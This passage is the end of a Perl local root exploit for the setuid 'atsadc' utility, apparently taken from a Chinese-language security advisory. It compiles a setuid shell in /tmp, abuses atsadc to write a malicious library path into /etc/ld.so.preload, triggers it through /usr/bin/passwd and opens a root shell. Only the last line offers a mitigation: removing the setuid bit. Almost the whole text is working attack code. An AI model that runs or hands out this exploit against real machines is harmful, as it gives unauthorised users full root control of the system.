char *a[] = {"/bin/sh", 0};
setuid(0); setregid(0, 0);
execve(a[0], a, 0);
return 0;
}
_EOF2_
close O;
print "Compile shell ...\n";
$foo = `cc /tmp/boomsh.c -o /tmp/boomsh`;
umask 0;
print "Invoking vulnerable program (atsadc)...\n";
$foo = `atsadc 2 1 /etc/ld.so.preload`;
open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
$foo = `/usr/bin/passwd`;
# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh");
建议:
临时解决办法: chmod u-s atsadc